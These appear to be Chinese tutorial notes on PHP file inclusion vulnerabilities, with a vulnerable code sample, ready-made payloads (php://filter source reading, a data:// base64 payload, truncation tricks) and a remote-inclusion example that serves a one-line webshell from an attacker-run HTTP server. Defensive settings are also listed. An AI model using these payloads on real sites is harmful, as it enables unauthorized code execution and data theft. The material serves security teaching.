第一部分:原理
什么是文件包含?
答:为了更好的使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码
文件包含漏洞的成因是什么?
答:在包含文件时候,为了灵活包含文件,将被包含的文件设置为变量,通过动态变量来引入需要包含的文件时,用户可以对变量的值可控而服务器端未对变量的值进行合理地校验或者校验被绕过,这样就导致了文件包含漏洞出现在PHP语言当中。
<?php
$file=$_GET['file'];
include($file);
//........
?>
文件包含的函数有哪些?
答:include,include_once,require,require_once,highlight_file,show_source,readfile,file_get_contents,fopen,file
文件包含漏洞的分类有哪些?
答:本地文件包含、远程文件包含。
allow_url_fopen为ON时,可以读取远程文件;
allow_url_include为ON时,可以使用include和require包含远程文件。
第二部分:文件包含漏洞的利用方式
验证存在该漏洞:/include.php?file=c://Windows/win.ini 其中file是包含的函数值,win.ini是win系统下的配置文件
php伪协议:https://www.cnblogs.com/endust/p/11804767.html
file://
include.php?file=file://c://Windows/win.ini
php://input
php://filter
http://127.0.0.1:8080/?file=php://filter/read=convert.base64-encode/resource=index.php
可以对网站目录下index.php文件内容进行Base64加密方式查看
php:data
include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
其他利用方式:
%00截断(php版本在5.3以下)、长度截断(win256,linux4096),包含日志文件,包含session
第三部分:防御
1.php中使用open_basedir配置限制访问在指定的区域
2.过滤.(点)/(反斜杠)\(斜杠)
3.禁止服务器远程文件包含
4.尽量不要使用动态包含,可以需要的包含在页面固定写好
第四部分:实例
1.本地包含
相对路径:../phpinfo.txt ../为上层目录 .txt .php .jpg都可以解析
2.远程包含
http://www.xiaodi8.com/readme.txt 前提需要网站打开allow_url_include在php.ini中,远程代码可以包含一句话木马
在服务器中 mkdir一个文件夹 然后vi 一个yjh.txt
编辑一个一句话木马
随后用python启动一个http服务
Python3 -m http.server 8000
include.php?file=http://10.1.1.130:8000/yjh.txt